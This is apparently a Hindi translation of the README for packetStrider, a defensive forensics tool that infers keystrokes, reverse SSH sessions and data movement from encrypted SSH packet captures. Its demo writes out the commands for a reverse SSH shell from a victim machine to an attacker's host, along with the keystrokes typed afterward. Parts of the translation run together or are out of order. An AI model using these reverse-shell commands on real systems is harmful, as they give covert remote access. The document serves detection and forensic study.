
SSH के लिए एक नेटवर्क पैकेट फोरेंसिक उपकरण

SSH के लिए packetStrider एक पैकेट फोरेंसिक टूल है जिसका उद्देश्य SSH ट्रैफ़िक की प्रकृति में मूल्यवान अंतर्दृष्टि प्रदान करना है, SSH नेटवर्क ट्रैफ़िक के उन कोनों में रोशनी डालना जहाँ पहले जानकारी के सुनहरे टुकड़े अंधेरे में पड़े थे।
SSH स्पष्ट रूप से एन्क्रिप्टेड है, फिर भी नेटवर्क ट्रैफ़िक में मूल्यवान प्रासंगिक जानकारी मौजूद होती है जो TTP, इरादे, सफलता और उद्देश्यों पर कार्यों के परिमाण की ओर जा सकती है। ऐसी स्थितियाँ भी हो सकती हैं जहाँ मूल्यवान संदर्भ होस्ट पर उपलब्ध नहीं है या हटा दिया गया है, और इसलिए एक अपरिवर्तनीय और अबाध्य निष्क्रिय नेटवर्क कैप्चर होने से अतिरिक्त फोरेंसिक संदर्भ मिलता है। "पैकेट झूठ नहीं बोलते"।
फोरेंसिक संदर्भ के अलावा, पैकेट स्ट्राइडर की भविष्यवाणियों का उपयोग सक्रिय रूप से भी किया जा सकता है, उदाहरण के लिए अगर रिवर्स SSH सत्र आरंभ सुविधा की भविष्यवाणी की जाती है, तो रिवर्स प्रमाणीकरण की पेशकश करने से पहले भी, फॉरवर्ड कनेक्शन को shun/RST करना।
Python3 का उपयोग किया गया है, और आपको निम्नलिखित मॉड्यूल की आवश्यकता होगी (python2 पर YMMV)
pip3 install pandas matplotlib pyshark
उपयोग:
python3 packetStrider-ssh.py -h
आउटपुट:
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
[-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
[-w WINDOW] [-s STRIDE]
packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE pcap file to analyze
-n NSTREAM, --nstream NSTREAM
Perform analysis only on stream n
-m, --metaonly Display stream metadata only
-k, --keystrokes Perform keystroke prediction
-p, --predict_plot Plot data movement and keystrokes
-z ZOOM, --zoom ZOOM Narrow down/zoom the analysis and plotting to only
packets "x-y"
-d DIRECTION, --direction DIRECTION
Perform analysis on SSH direction : "forward",
"reverse" OR "both"
-o OUTPUT_DIR, --output_dir OUTPUT_DIR
Directory to output plots
-w WINDOW, --window WINDOW
Sliding window size, # of packets to side of window
center packet, default is 2
-s STRIDE, --stride STRIDE
Stride between sliding windows, default is 1
pcap "forward_reverse.pcap" एक सामान्य TTP से है जो रिवर्स SSH शेल का है, जो हर जगह रेड टीमों का पसंदीदा है। विशेष रूप से निम्नलिखित कमांड का उपयोग किया गया था, ताकि पैकेट स्ट्राइडर की क्षमताओं को सरल तरीके से उजागर किया जा सके:
पीड़ित से फॉरवर्ड कनेक्शन
ssh [email protected] -R 31337:localhost:22 था, जो रिवर्स SSH कनेक्शन के लिए पीड़ित PC पर वापस लोकल पोर्ट 31337 को बाँधता है। यह कनेक्शन कई तरीकों से प्रभावित किया जा सकता है, जिसमें मैन्युअल रूप से, RCE, SSRF, या दृढ़ता के किसी रूप के माध्यम से शामिल है। इस डेमो के उद्देश्य के लिए, यह एक मैन्युअल मानक फॉरवर्ड सत्र है।ls टाइप किया जाता है, इस क्रम में: 'l' 'w' 'w' 'back-space' 'back-space' 's' और फिर एंटर। वायर पर प्रेषित डेटा का कुल आकार (ls के आउटपुट के रूप में) घुसपैठ के रूप में वर्गीकृत किया जाता है, क्योंकि यह इनबाउंड है।अब हमलावर की मशीन (सर्वर) पर, पीड़ित के पास वापस एक रिवर्स शेल शुरू किया जाता है:
ssh victim@localhost -p 31337। इस बिंदु पर, जो प्रमाणीकरण प्रक्रिया शुरू होने से पहले भी है, पैकेट स्ट्राइडर ने रिवर्स सत्र SSH आरंभ की पहचान कर ली है, पैकेट 72 पर।last कीस्ट्रोक्स के रूप में चलाया जाता है 'l' 'a' 's' 'r' 'delete' 't' 'enter'who के रूप में चलाया जाता है 'w' 'h' 'o' 'enter'exit के रूप में चलाया जाता है इस गतिविधि से नेटवर्क ट्रैफ़िक tcpdump.pcap में सहेजा जाता है और अब Packet Strider चलाने का समय है।
python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out

यह प्लॉट प्रमुख भविष्यवाणियों की एक समयरेखा दिखाता है (छवि को यहाँ एनोटेट किया गया है)

यह प्लॉट कुछ विंडो सांख्यिकी दिखाता है, गहराई से जांच और सुविधाओं के साथ प्रयोग के लिए उपयोगी।

यह प्लॉट एक सरल हिस्टोग्राम दिखाता है

यह प्रोजेक्ट एक व्यक्तिगत प्रूफ ऑफ कॉन्सेप्ट के रूप में किया गया था, Python में कुछ डेटा साइंस लाइब्रेरी के साथ अभ्यास करने के एक तरीके के रूप में, यह मशीन लर्निंग और डेटा साइंस में मेरे Coursera अध्ययनों से बहुत प्रेरित था, विशेष रूप से pandas लाइब्रेरी और जिस तरह से कन्वोल्यूशनल न्यूरल नेटवर्क (CNN) स्लाइडिंग विंडो का उपयोग करके छवि पिक्सेल सेट के माध्यम से "स्ट्राइड" करते हैं ताकि कुछ विशेषताओं का पता लगाया जा सके।
पैकेट स्ट्राइडर पूर्ण क्षमता मोड में बड़ी मात्रा में "स्ट्राइडिंग" करता है। इसके परिणामस्वरूप यदि pcap बड़ा है, या अधिक सटीक रूप से यदि pcap में कई पैकेट हैं, तो पर्याप्त संसाधन उपयोग हो सकता है। यहाँ कुछ गति बढ़ाने वाले सुझाव दिए गए हैं, ये विशेष रूप से प्रारंभिक रन के रूप में उपयोगी होते हैं, उदाहरण के लिए यह देखने के लिए कि क्या रिवर्स SSH गतिविधि की भविष्यवाणी की गई थी, और फिर यदि आप चाहें तो कार्यक्षमता जोड़ना।
अपने जोखिम पर उपयोग करें। लाइसेंस शर्तें देखें।
फिर अंत में फॉरवर्ड सत्र के साथ सत्र बंद कर दिया जाता है, सिर्फ यह प्रदर्शित करने के लिए कि फॉरवर्ड SSH फीचर का पता लगाना अभी भी काम करता है।
exit